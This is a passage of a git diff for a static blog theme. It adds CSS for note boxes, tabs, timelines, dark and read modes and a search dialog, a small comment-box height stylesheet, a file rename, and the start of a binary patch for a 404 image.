a:not(.btn) { + color: #666; +} +.note.default.modern a:not(.btn):hover { + color: #454545; +} +.note.default:not(.modern) { + border-left-color: #777; +} +.note.default:not(.modern) h2, +.note.default:not(.modern) h3, +.note.default:not(.modern) h4, +.note.default:not(.modern) h5, +.note.default:not(.modern) h6 { + color: #777; +} +.note.default:not(.no-icon)::before { + content: '\f0a9'; +} +.note.default:not(.no-icon):not(.modern)::before { + color: #777; +} +.note.primary.flat { + background: #f5f0fa; +} +.note.primary.modern { + border-color: #e1c2ff; + background: #f3daff; + color: #6f42c1; +} +.note.primary.modern a:not(.btn) { + color: #6f42c1; +} +.note.primary.modern a:not(.btn):hover { + color: #453298; +} +.note.primary:not(.modern) { + border-left-color: #6f42c1; +} +.note.primary:not(.modern) h2, +.note.primary:not(.modern) h3, +.note.primary:not(.modern) h4, +.note.primary:not(.modern) h5, +.note.primary:not(.modern) h6 { + color: #6f42c1; +} +.note.primary:not(.no-icon)::before { + content: '\f055'; +} +.note.primary:not(.no-icon):not(.modern)::before { + color: #6f42c1; +} +.note.info.flat { + background: #eef7fa; +} +.note.info.modern { + border-color: #b3e5ef; + background: #d9edf7; + color: #31708f; +} +.note.info.modern a:not(.btn) { + color: #31708f; +} +.note.info.modern a:not(.btn):hover { + color: #215761; +} +.note.info:not(.modern) { + border-left-color: #428bca; +} +.note.info:not(.modern) h2, +.note.info:not(.modern) h3, +.note.info:not(.modern) h4, +.note.info:not(.modern) h5, +.note.info:not(.modern) h6 { + color: #428bca; +} +.note.info:not(.no-icon)::before { + content: '\f05a'; +} +.note.info:not(.no-icon):not(.modern)::before { + color: #428bca; +} +.note.success.flat { + background: #eff8f0; +} +.note.success.modern { + border-color: #d0e6be; + background: #dff0d8; + color: #3c763d; +} +.note.success.modern a:not(.btn) { + color: #3c763d; +} +.note.success.modern a:not(.btn):hover { + color: #32562c; +} +.note.success:not(.modern) { + border-left-color: #5cb85c; +} +.note.success:not(.modern) h2, +.note.success:not(.modern) h3, +.note.success:not(.modern) h4, +.note.success:not(.modern) h5, +.note.success:not(.modern) h6 { + color: #5cb85c; +} +.note.success:not(.no-icon)::before { + content: '\f058'; +} +.note.success:not(.no-icon):not(.modern)::before { + color: #5cb85c; +} +.note.warning.flat { + background: #fdf8ea; +} +.note.warning.modern { + border-color: #fae4cd; + background: #fcf4e3; + color: #8a6d3b; +} +.note.warning.modern a:not(.btn) { + color: #8a6d3b; +} +.note.warning.modern a:not(.btn):hover { + color: #714f30; +} +.note.warning:not(.modern) { + border-left-color: #f0ad4e; +} +.note.warning:not(.modern) h2, +.note.warning:not(.modern) h3, +.note.warning:not(.modern) h4, +.note.warning:not(.modern) h5, +.note.warning:not(.modern) h6 { + color: #f0ad4e; +} +.note.warning:not(.no-icon)::before { + content: '\f06a'; +} +.note.warning:not(.no-icon):not(.modern)::before { + color: #f0ad4e; +} +.note.danger.flat { + background: #fcf1f2; +} +.note.danger.modern { + border-color: #ebcdd2; + background: #f2dfdf; + color: #a94442; +} +.note.danger.modern a:not(.btn) { + color: #a94442; +} +.note.danger.modern a:not(.btn):hover { + color: #84333f; +} +.note.danger:not(.modern) { + border-left-color: #d9534f; +} +.note.danger:not(.modern) h2, +.note.danger:not(.modern) h3, +.note.danger:not(.modern) h4, +.note.danger:not(.modern) h5, +.note.danger:not(.modern) h6 { + color: #d9534f; +} +.note.danger:not(.no-icon)::before { + content: '\f056'; +} +.note.danger:not(.no-icon):not(.modern)::before { + color: #d9534f; +} +#article-container .tabs { + position: relative; + margin: 0 0 20px; + border-right: 1px solid var(--tab-border-color); + border-bottom: 1px solid var(--tab-border-color); + border-left: 1px solid var(--tab-border-color); +} +#article-container .tabs > .nav-tabs { + display: -webkit-box; + display: -moz-box; + display: -webkit-flex; + display: -ms-flexbox; + display: box; + display: flex; + -webkit-box-lines: multiple; + -moz-box-lines: multiple; + -o-box-lines: multiple; + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + margin: 0; + padding: 0; + background: var(--tab-botton-bg); +} +#article-container .tabs > .nav-tabs > .tab { + margin: 0; + padding: 0; + list-style: none; +} +@media screen and (max-width: 768px) { + #article-container .tabs > .nav-tabs > .tab { + -webkit-box-flex: 1; + -moz-box-flex: 1; + -o-box-flex: 1; + -ms-box-flex: 1; + box-flex: 1; + -webkit-flex-grow: 1; + flex-grow: 1; + } +} +#article-container .tabs > .nav-tabs > .tab button { + display: block; + padding: 8px 18px; + width: 100%; + border-top: 2px solid var(--tab-border-color); + background: var(--tab-botton-bg); + color: var(--tab-botton-color); + line-height: 2; + -webkit-transition: all 0.4s; + -moz-transition: all 0.4s; + -o-transition: all 0.4s; + -ms-transition: all 0.4s; + transition: all 0.4s; +} +#article-container .tabs > .nav-tabs > .tab button i { + width: 1.5em; +} +#article-container .tabs > .nav-tabs > .tab.active button { + border-top: 2px solid #8e8cd8; + background: var(--tab-button-active-bg); + cursor: default; +} +#article-container .tabs > .nav-tabs > .tab:not(.active) button:hover { + border-top: 2px solid var(--tab-button-hover-bg); + background: var(--tab-button-hover-bg); +} +#article-container .tabs > .tab-contents .tab-item-content { + position: relative; + display: none; + padding: 36px 24px; +} +@media screen and (max-width: 768px) { + #article-container .tabs > .tab-contents .tab-item-content { + padding: 24px 14px; + } +} +#article-container .tabs > .tab-contents .tab-item-content.active { + display: block; + -webkit-animation: tabshow 0.5s; + -moz-animation: tabshow 0.5s; + -o-animation: tabshow 0.5s; + -ms-animation: tabshow 0.5s; + animation: tabshow 0.5s; +} +#article-container .tabs .tab-to-top { + position: relative; + display: block; + margin: 0 0 0 auto; + color: #99a9bf; +} +@-moz-keyframes tabshow { + 0% { + -webkit-transform: translateY(15px); + -moz-transform: translateY(15px); + -o-transform: translateY(15px); + -ms-transform: translateY(15px); + transform: translateY(15px); + } + 100% { + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-webkit-keyframes tabshow { + 0% { + -webkit-transform: translateY(15px); + -moz-transform: translateY(15px); + -o-transform: translateY(15px); + -ms-transform: translateY(15px); + transform: translateY(15px); + } + 100% { + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-o-keyframes tabshow { + 0% { + -webkit-transform: translateY(15px); + -moz-transform: translateY(15px); + -o-transform: translateY(15px); + -ms-transform: translateY(15px); + transform: translateY(15px); + } + 100% { + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@keyframes tabshow { + 0% { + -webkit-transform: translateY(15px); + -moz-transform: translateY(15px); + -o-transform: translateY(15px); + -ms-transform: translateY(15px); + transform: translateY(15px); + } + 100% { + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +#article-container .timeline { + margin: 0 0 20px 10px; + padding: 14px 20px 5px; + border-left: 2px solid var(--timeline-color, #8e8cd8); +} +#article-container .timeline.blue { + --timeline-color: #428bca; + --timeline-bg: rgba(66,139,202, 0.2); +} +#article-container .timeline.pink { + --timeline-color: #ff69b4; + --timeline-bg: rgba(255,105,180, 0.2); +} +#article-container .timeline.red { + --timeline-color: #f00; + --timeline-bg: rgba(255,0,0, 0.2); +} +#article-container .timeline.purple { + --timeline-color: #6f42c1; + --timeline-bg: rgba(111,66,193, 0.2); +} +#article-container .timeline.orange { + --timeline-color: #ff8c00; + --timeline-bg: rgba(255,140,0, 0.2); +} +#article-container .timeline.green { + --timeline-color: #5cb85c; + --timeline-bg: rgba(92,184,92, 0.2); +} +#article-container .timeline .timeline-item { + margin: 0 0 15px; +} +#article-container .timeline .timeline-item:hover .item-circle:before { + border-color: var(--timeline-color, #8e8cd8); +} +#article-container .timeline .timeline-item.headline .timeline-item-title .item-circle > p { + font-weight: 600; + font-size: 1.2em; +} +#article-container .timeline .timeline-item.headline .timeline-item-title .item-circle:before { + left: -28px; + border: 4px solid var(--timeline-color, #8e8cd8); +} +#article-container .timeline .timeline-item.headline:hover .item-circle:before { + border-color: var(--pseudo-hover); +} +#article-container .timeline .timeline-item .timeline-item-title { + position: relative; +} +#article-container .timeline .timeline-item .item-circle:before { + position: absolute; + top: 50%; + left: -27px; + width: 6px; + height: 6px; + border: 3px solid var(--pseudo-hover); + border-radius: 50%; + background: var(--card-bg); + content: ''; + -webkit-transition: all 0.3s; + -moz-transition: all 0.3s; + -o-transition: all 0.3s; + -ms-transition: all 0.3s; + transition: all 0.3s; + -webkit-transform: translate(0, -50%); + -moz-transform: translate(0, -50%); + -o-transform: translate(0, -50%); + -ms-transform: translate(0, -50%); + transform: translate(0, -50%); +} +#article-container .timeline .timeline-item .item-circle > p { + margin: 0 0 8px; + font-weight: 500; +} +#article-container .timeline .timeline-item .timeline-item-content { + position: relative; + padding: 12px 15px; + border-radius: 8px; + background: var(--timeline-bg, #eeeef9); + font-size: 0.93em; +} +#article-container .timeline .timeline-item .timeline-item-content > :last-child { + margin-bottom: 0; +} +#article-container .timeline + .timeline { + margin-top: -20px; +} +[data-theme='dark'] { + --global-bg: #0d0d0d; + --font-color: rgba(255,255,255,0.7); + --hr-border: rgba(255,255,255,0.4); + --hr-before-color: rgba(255,255,255,0.7); + --search-bg: #121212; + --search-input-color: rgba(255,255,255,0.7); + --search-result-title: rgba(255,255,255,0.9); + --preloader-bg: #0d0d0d; + --preloader-color: rgba(255,255,255,0.7); + --tab-border-color: #2c2c2c; + --tab-botton-bg: #2c2c2c; + --tab-botton-color: rgba(255,255,255,0.7); + --tab-button-hover-bg: #383838; + --tab-button-active-bg: #121212; + --card-bg: #121212; + --sidebar-bg: #121212; + --btn-hover-color: #787878; + --btn-color: rgba(255,255,255,0.7); + --btn-bg: #1f1f1f; + --text-bg-hover: #383838; + --light-grey: rgba(255,255,255,0.7); + --dark-grey: rgba(255,255,255,0.2); + --white: rgba(255,255,255,0.9); + --text-highlight-color: rgba(255,255,255,0.9); + --blockquote-color: rgba(255,255,255,0.7); + --blockquote-bg: #2c2c2c; + --reward-pop: #2c2c2c; + --toc-link-color: rgba(255,255,255,0.6); + --hl-color: rgba(255,255,255,0.7); + --hl-bg: #171717; + --hltools-bg: #1a1a1a; + --hltools-color: #90a4ae; + --hlnumber-bg: #171717; + --hlnumber-color: rgba(255,255,255,0.4); + --hlscrollbar-bg: #1f1f1f; + --hlexpand-bg: linear-gradient(180deg, rgba(23,23,23,0.6), rgba(23,23,23,0.9)); + --scrollbar-color: #1f1f1f; + --timeline-bg: #1f1f1f; +} +[data-theme='dark'] #web_bg:before, +[data-theme='dark'] #footer:before, +[data-theme='dark'] #page-header:before { + position: absolute; + width: 100%; + height: 100%; + background-color: rgba(0,0,0,0.7); + content: ''; +} +[data-theme='dark'] #article-container code { + background: #2c2c2c; +} +[data-theme='dark'] #article-container pre > code { + background: #171717; +} +[data-theme='dark'] #article-container figure.highlight { + -webkit-box-shadow: none; + box-shadow: none; +} +[data-theme='dark'] #article-container .note code { + background: rgba(27,31,35,0.05); +} +[data-theme='dark'] #article-container .aplayer { + filter: brightness(0.8); +} +[data-theme='dark'] #article-container kbd { + border-color: #696969; + background-color: #525252; + color: #e2f1ff; +} +[data-theme='dark'] #page-header.nav-fixed > #nav, +[data-theme='dark'] #page-header.not-top-img > #nav { + background: rgba(18,18,18,0.8); + -webkit-box-shadow: 0 5px 6px -5px rgba(133,133,133,0); + box-shadow: 0 5px 6px -5px rgba(133,133,133,0); +} +[data-theme='dark'] #post-comment #comment-switch { + background: #2c2c2c !important; +} +[data-theme='dark'] #post-comment #comment-switch .switch-btn { + filter: brightness(0.8); +} +[data-theme='dark'] .note { + filter: brightness(0.8); +} +[data-theme='dark'] .hide-button, +[data-theme='dark'] .btn-beautify, +[data-theme='dark'] .hl-label, +[data-theme='dark'] .post-outdate-notice, +[data-theme='dark'] .error-img, +[data-theme='dark'] #article-container iframe, +[data-theme='dark'] .gist, +[data-theme='dark'] .ads-wrap { + filter: brightness(0.8); +} +[data-theme='dark'] img { + filter: brightness(0.8); +} +[data-theme='dark'] #aside-content .aside-list > .aside-list-item:not(:last-child) { + border-bottom: 1px dashed rgba(255,255,255,0.1); +} +[data-theme='dark'] #gitalk-container { + filter: brightness(0.8); +} +[data-theme='dark'] #gitalk-container svg { + fill: rgba(255,255,255,0.9) !important; +} +[data-theme='dark'] #disqusjs #dsqjs:hover, +[data-theme='dark'] #disqusjs #dsqjs:focus, +[data-theme='dark'] #disqusjs #dsqjs .dsqjs-tab-active, +[data-theme='dark'] #disqusjs #dsqjs .dsqjs-no-comment { + color: rgba(255,255,255,0.7); +} +[data-theme='dark'] #disqusjs #dsqjs .dsqjs-order-label { + background-color: #1f1f1f; +} +[data-theme='dark'] #disqusjs #dsqjs .dsqjs-post-body { + color: rgba(255,255,255,0.7); +} +[data-theme='dark'] #disqusjs #dsqjs .dsqjs-post-body code, +[data-theme='dark'] #disqusjs #dsqjs .dsqjs-post-body pre { + background: #2c2c2c; +} +[data-theme='dark'] #disqusjs #dsqjs .dsqjs-post-body blockquote { + color: rgba(255,255,255,0.7); +} +[data-theme='dark'] #artitalk_main #lazy { + background: #121212; +} +[data-theme='dark'] #operare_artitalk .c2 { + background: #121212; +} +@media screen and (max-width: 900px) { + [data-theme='dark'] #card-toc { + background: #1f1f1f; + } +} +.read-mode { + --font-color: #4c4948; + --readmode-light-color: #fff; + --white: #4c4948; + --light-grey: #4c4948; + --gray: #d6dbdf; + --hr-border: #d6dbdf; + --hr-before-color: #b9c2c9; + --highlight-bg: #f7f7f7; + --exit-btn-bg: #c0c0c0; + --exit-btn-color: #fff; + --exit-btn-hover: #8d8d8d; + --pseudo-hover: none; +} +[data-theme='dark'] .read-mode { + --font-color: rgba(255,255,255,0.7); + --readmode-light-color: #0d0d0d; + --white: rgba(255,255,255,0.9); + --light-grey: rgba(255,255,255,0.7); + --gray: rgba(255,255,255,0.7); + --hr-border: rgba(255,255,255,0.5); + --hr-before-color: rgba(255,255,255,0.7); + --highlight-bg: #171717; + --exit-btn-bg: #1f1f1f; + --exit-btn-color: rgba(255,255,255,0.9); + --exit-btn-hover: #525252; +} +.read-mode { + background: var(--readmode-light-color); +} +.read-mode .exit-readmode { + position: fixed; + top: 30px; + right: 30px; + z-index: 100; + width: 40px; + height: 40px; + border-radius: 8px; + background: var(--exit-btn-bg); + color: var(--exit-btn-color); + font-size: 16px; + -webkit-transition: background 0.3s; + -moz-transition: background 0.3s; + -o-transition: background 0.3s; + -ms-transition: background 0.3s; + transition: background 0.3s; +} +@media screen and (max-width: 768px) { + .read-mode .exit-readmode { + top: initial; + bottom: 30px; + } +} +.read-mode .exit-readmode:hover { + background: var(--exit-btn-hover); +} +.read-mode #aside-content { + display: none; +} +.read-mode #page-header.post-bg { + background-color: transparent; + background-image: none !important; +} +.read-mode #page-header.post-bg:before { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); +} +.read-mode #page-header.post-bg > #post-info { + text-align: center; +} +.read-mode #post { + margin: 0 auto; + background: transparent; + -webkit-box-shadow: none; + box-shadow: none; +} +.read-mode #post:hover { + -webkit-box-shadow: none; + box-shadow: none; +} +.read-mode > canvas { + display: none !important; +} +.read-mode .highlight-tools, +.read-mode #footer, +.read-mode #post > *:not(#post-info):not(.post-content), +.read-mode #nav, +.read-mode .post-outdate-notice, +.read-mode #web_bg, +.read-mode #rightside, +.read-mode .not-top-img { + display: none !important; +} +.read-mode #article-container a { + color: #99a9bf; +} +.read-mode #article-container pre, +.read-mode #article-container .highlight:not(.js-file-line-container) { + background: var(--highlight-bg) !important; +} +.read-mode #article-container pre *, +.read-mode #article-container .highlight:not(.js-file-line-container) * { + color: var(--font-color) !important; +} +.read-mode #article-container figure.highlight { + border-radius: 0 !important; + -webkit-box-shadow: none !important; + box-shadow: none !important; +} +.read-mode #article-container figure.highlight > :not(.highlight-tools) { + display: block !important; +} +.read-mode #article-container figure.highlight .line:before { + color: var(--font-color) !important; +} +.read-mode #article-container figure.highlight .hljs { + background: var(-highlight-bg) !important; +} +.read-mode #article-container h1, +.read-mode #article-container h2, +.read-mode #article-container h3, +.read-mode #article-container h4, +.read-mode #article-container h5, +.read-mode #article-container h6 { + padding: 0; +} +.read-mode #article-container h1:before, +.read-mode #article-container h2:before, +.read-mode #article-container h3:before, +.read-mode #article-container h4:before, +.read-mode #article-container h5:before, +.read-mode #article-container h6:before { + content: ''; +} +.read-mode #article-container h1:hover, +.read-mode #article-container h2:hover, +.read-mode #article-container h3:hover, +.read-mode #article-container h4:hover, +.read-mode #article-container h5:hover, +.read-mode #article-container h6:hover { + padding: 0; +} +.read-mode #article-container ul:hover:before, +.read-mode #article-container li:hover:before, +.read-mode #article-container ol:hover:before { + -webkit-transform: none !important; + -moz-transform: none !important; + -o-transform: none !important; + -ms-transform: none !important; + transform: none !important; +} +.read-mode #article-container ol:before, +.read-mode #article-container li:before { + background: transparent !important; + color: var(--font-color) !important; +} +.read-mode #article-container ul >li:before { + border-color: var(--gray) !important; +} +.read-mode #article-container .tabs { + border: 2px solid var(--tab-border-color); +} +.read-mode #article-container .tabs > .nav-tabs { + background: transparent; +} +.read-mode #article-container .tabs > .nav-tabs > .tab { + border-bottom: 0; +} +.read-mode #article-container .tabs > .nav-tabs > .tab button { + border-top: none !important; + background: transparent; +} +.read-mode #article-container .tabs > .nav-tabs > .tab button:hover { + background: none !important; +} +.read-mode #article-container .tabs > .nav-tabs > .tab.active button { + text-decoration: underline; +} +.read-mode #article-container .tabs > .tab-contents .tab-item-content.active { + -webkit-animation: none; + -moz-animation: none; + -o-animation: none; + -ms-animation: none; + animation: none; +} +.read-mode #article-container code { + color: var(--font-color); +} +.read-mode #article-container blockquote { + border-color: var(--gray); + background-color: var(--readmode-light-color); +} +.read-mode #article-container kbd { + border: 1px solid var(--gray); + background-color: transparent; + -webkit-box-shadow: none; + box-shadow: none; + color: var(--font-color); +} +.read-mode #article-container .hide-toggle { + border: 1px solid var(--gray) !important; +} +.read-mode #article-container .hide-button, +.read-mode #article-container .btn-beautify, +.read-mode #article-container .hl-label { + border: 1px solid var(--gray) !important; + background: var(--readmode-light-color) !important; + color: var(--font-color) !important; +} +.read-mode #article-container .note { + border: 2px solid var(--gray); + border-left-color: var(--gray) !important; + filter: none; + background-color: var(--readmode-light-color) !important; + color: var(--font-color); +} +.read-mode #article-container .note:before, +.read-mode #article-container .note .note-icon { + color: var(--font-color); +} +.search-dialog { + position: fixed; + top: 10%; + left: 50%; + z-index: 1001; + display: none; + margin-left: -300px; + padding: 20px; + width: 600px; + border-radius: 8px; + background: var(--search-bg); +} +@media screen and (max-width: 768px) { + .search-dialog { + top: 0; + left: 0; + margin: 0; + width: 100%; + height: 100%; + border-radius: 0; + } +} +.search-dialog hr { + margin: 20px auto; +} +.search-dialog .search-nav { + margin: 0 0 14px; + color: #8e8cd8; + font-size: 1.4em; + line-height: 1; +} +.search-dialog .search-nav .search-dialog-title { + margin-right: 10px; +} +.search-dialog .search-nav .search-close-button { + float: right; + color: #858585; + -webkit-transition: color 0.2s ease-in-out; + -moz-transition: color 0.2s ease-in-out; + -o-transition: color 0.2s ease-in-out; + -ms-transition: color 0.2s ease-in-out; + transition: color 0.2s ease-in-out; +} +.search-dialog .search-nav .search-close-button:hover { + color: #8e8cd8; +} +#search-mask { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1000; + display: none; + background: rgba(0,0,0,0.6); +} +#local-search .search-dialog .local-search-box { + margin: 0 auto; + max-width: 100%; + width: 100%; +} +#local-search .search-dialog .local-search-box input { + padding: 5px 14px; + width: 100%; + outline: none; + border: 2px solid #8e8cd8; + border-radius: 40px; + background: var(--search-bg); + color: var(--search-input-color); + -webkit-appearance: none; +} +#local-search .search-dialog .search-wrap { + display: none; +} +#local-search .search-dialog .local-search__hit-item { + position: relative; + padding-left: 24px; + line-height: 1.7; +} +#local-search .search-dialog .local-search__hit-item:hover:before { + border-color: var(--pseudo-hover); +} +#local-search .search-dialog .local-search__hit-item:before { + position: absolute; + top: 0.45em; + left: 0; + width: 0.5em; + height: 0.5em; + border: 3px solid #8e8cd8; + border-radius: 0.5em; + background: transparent; + content: ''; + line-height: 0.5em; + -webkit-transition: all 0.2s ease-in-out; + -moz-transition: all 0.2s ease-in-out; + -o-transition: all 0.2s ease-in-out; + -ms-transition: all 0.2s ease-in-out; + transition: all 0.2s ease-in-out; +} +#local-search .search-dialog .local-search__hit-item a { + display: block; + color: var(--search-result-title); + font-weight: 600; + cursor: pointer; +} +#local-search .search-dialog .local-search__hit-item a:hover { + color: #8e8cd8; +} +#local-search .search-dialog .local-search__hit-item .search-result { + margin: 0 8px 8px 0; + word-break: break-all; +} +#local-search .search-dialog .local-search__hit-item .search-keyword { + color: #f47466; + font-weight: bold; +} +#local-search .search-dialog .search-result-list { + overflow-y: auto; + max-height: calc(80vh - 130px); +} +@media screen and (max-width: 768px) { + #local-search .search-dialog .search-result-list { + padding-bottom: 40px; + max-height: 75vh !important; + } +} diff --git a/css/twikoo-height.css b/css/twikoo-height.css new file mode 100644 index 0000000000..94689442c1 --- /dev/null +++ b/css/twikoo-height.css @@ -0,0 +1,5 @@ + +textarea.el-textarea__inner{ + height: 150px !important; + min-height: 150px !important; +} \ No newline at end of file diff --git a/placeholder b/css/var.css similarity index 100% rename from placeholder rename to css/var.css diff --git a/img/404.jpg b/img/404.jpg new file mode 100644 index 0000000000000000000000000000000000000000..4bab3c3f20a1e04b7e611f1b8e1d28357009007d GIT binary patch literal 16393 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 